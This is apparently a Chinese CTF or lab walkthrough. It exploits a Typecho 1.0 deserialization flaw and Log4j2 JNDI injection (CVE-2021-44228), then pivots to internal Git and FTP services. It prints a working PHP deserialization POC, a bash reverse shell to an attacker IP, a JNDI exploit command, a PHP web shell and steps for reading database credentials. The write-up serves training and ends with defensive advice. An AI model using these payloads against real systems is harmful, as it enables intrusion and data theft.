记录一次坎坷的打靶经历·二
字数 1109 2025-08-11 08:36:11

Typecho反序列化漏洞与Log4j2 RCE漏洞实战教学

1. 环境准备与初始侦察

1.1 目标识别

  • 目标系统:Typecho CMS 1.0版本
  • 开放端口:80 (HTTP)
  • 识别方法:使用nmap扫描
    nmap -sV <target_ip>
    

1.2 目录扫描

使用dirsearch工具扫描网站目录结构:

python3 dirsearch.py -u http://<target_ip> -e *

2. Typecho反序列化漏洞利用 (Flag1)

2.1 漏洞背景

Typecho 1.0版本存在反序列化漏洞,可通过构造特定的序列化数据实现远程代码执行。

2.2 漏洞利用POC

<?php
class Typecho_Feed {
    const RSS2 = 'RSS 2.0';
    private $_type;
    private $_items;
    
    public function __construct() {
        $this->_type = self::RSS2;
        $_item['author'] = new Typecho_Request();
        $_item['category'] = array(new Typecho_Request());
        $this->_items[0] = $_item;
    }
}

class Typecho_Request {
    private $_params = array();
    private $_filter = array();
    
    public function __construct() {
        $this->_params['screenName'] = "ls";  // 要执行的命令
        $this->_filter[0] = "system";        // 回调函数
    }
}

$data = new Typecho_Feed();
$poc = array(
    'adapter' => $data,
    'prefix' => "typecho_"
);

// 序列化并Base64编码
echo base64_encode(serialize($poc));
?>

2.3 利用步骤

  1. 运行上述PHP代码生成payload
  2. 使用Hackbar或Burp Suite将生成的payload通过POST方式发送到目标
  3. 查看命令执行结果
  4. 修改命令获取flag:cat /f*

3. 数据库获取Flag (Flag2)

3.1 获取数据库凭据

  1. 查看网站配置文件获取数据库信息:
    cat config.inc.php
    
  2. 获取到的信息通常包含:
    $db = new Typecho_Db('Mysql', 'typecho_');
    $db->addServer(array (
      'host' => 'localhost',
      'user' => 'root',
      'password' => 'password',
      'charset' => 'utf8',
      'port' => '3306',
      'database' => 'typecho',
    ), Typecho_Db::READ | Typecho_Db::WRITE);
    

3.2 数据库查询

  1. 登录MySQL数据库:
    mysql -u root -p
    
  2. 查询flag:
    show databases;
    use typecho;
    show tables;
    select * from typecho_contents;
    

4. Log4j2 RCE漏洞利用 (Flag3-5)

4.1 漏洞背景

Log4j2中存在JNDI注入漏洞(CVE-2021-44228),当程序记录用户输入数据时可能触发。

4.2 漏洞利用准备

  1. 准备反弹shell payload并Base64编码:
    echo -n 'bash -i >& /dev/tcp/<your_ip>/1234 0>&1' | base64
    
  2. 使用JNDI注入工具:
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,<base64_payload>}|{base64,-d}|{bash,-i}" -A "<your_ip>"
    

4.3 利用步骤

  1. 构造payload:${jndi:ldap://<your_ip>:1389/<random>}
  2. 在登录框等输入点提交payload
  3. 监听端口等待反弹shell:
    nc -lvnp 1234
    
  4. 获取flag:
    cat /flag
    cat /root/flag
    

5. Git仓库利用 (Flag6-7)

5.1 发现Git服务

  1. 扫描内网发现Git服务:
    ./fscan -h 192.168.1.0/24
    
  2. 通过代理访问Git服务

5.2 克隆恶意仓库

  1. 创建包含恶意代码的Git仓库
  2. 使用phtml后缀绕过限制:
    <?php system($_GET['cmd']); ?>
    
  3. 克隆仓库并访问恶意文件

6. FTP服务利用 (Flag8-9)

6.1 发现FTP服务

  1. 扫描内网发现FTP服务:
    ./fscan -h 10.10.0.0/24
    

6.2 FTP连接与利用

  1. 使用代理连接FTP:
    proxychains ftp 10.10.0.3
    
  2. 使用凭据登录:
    Username: guest
    Password: guest
    
  3. 获取flag:
    get flag
    

7. 总结与防御建议

7.1 漏洞总结

  1. Typecho反序列化漏洞
  2. Log4j2 JNDI注入漏洞
  3. Git服务不当配置
  4. FTP服务弱口令

7.2 防御建议

  1. 及时更新系统和组件版本
  2. 禁用不必要的服务和功能
  3. 使用强密码策略
  4. 实施最小权限原则
  5. 监控和审计日志

7.3 学习资源

  1. Typecho反序列化漏洞分析
  2. Log4j2漏洞原理与利用
  3. 内网渗透技术
  4. Git和FTP服务安全配置

通过本次实战,我们学习了从外网到内网的多层次渗透技术,包括Web漏洞利用、服务枚举、权限维持和内网横向移动等关键技术点。

Typecho反序列化漏洞与Log4j2 RCE漏洞实战教学 1. 环境准备与初始侦察 1.1 目标识别 目标系统:Typecho CMS 1.0版本 开放端口:80 (HTTP) 识别方法:使用nmap扫描 1.2 目录扫描 使用dirsearch工具扫描网站目录结构: 2. Typecho反序列化漏洞利用 (Flag1) 2.1 漏洞背景 Typecho 1.0版本存在反序列化漏洞,可通过构造特定的序列化数据实现远程代码执行。 2.2 漏洞利用POC 2.3 利用步骤 运行上述PHP代码生成payload 使用Hackbar或Burp Suite将生成的payload通过POST方式发送到目标 查看命令执行结果 修改命令获取flag: cat /f* 3. 数据库获取Flag (Flag2) 3.1 获取数据库凭据 查看网站配置文件获取数据库信息: 获取到的信息通常包含: 3.2 数据库查询 登录MySQL数据库: 查询flag: 4. Log4j2 RCE漏洞利用 (Flag3-5) 4.1 漏洞背景 Log4j2中存在JNDI注入漏洞(CVE-2021-44228),当程序记录用户输入数据时可能触发。 4.2 漏洞利用准备 准备反弹shell payload并Base64编码: 使用JNDI注入工具: 4.3 利用步骤 构造payload: ${jndi:ldap://<your_ip>:1389/<random>} 在登录框等输入点提交payload 监听端口等待反弹shell: 获取flag: 5. Git仓库利用 (Flag6-7) 5.1 发现Git服务 扫描内网发现Git服务: 通过代理访问Git服务 5.2 克隆恶意仓库 创建包含恶意代码的Git仓库 使用phtml后缀绕过限制: 克隆仓库并访问恶意文件 6. FTP服务利用 (Flag8-9) 6.1 发现FTP服务 扫描内网发现FTP服务: 6.2 FTP连接与利用 使用代理连接FTP: 使用凭据登录: 获取flag: 7. 总结与防御建议 7.1 漏洞总结 Typecho反序列化漏洞 Log4j2 JNDI注入漏洞 Git服务不当配置 FTP服务弱口令 7.2 防御建议 及时更新系统和组件版本 禁用不必要的服务和功能 使用强密码策略 实施最小权限原则 监控和审计日志 7.3 学习资源 Typecho反序列化漏洞分析 Log4j2漏洞原理与利用 内网渗透技术 Git和FTP服务安全配置 通过本次实战,我们学习了从外网到内网的多层次渗透技术,包括Web漏洞利用、服务枚举、权限维持和内网横向移动等关键技术点。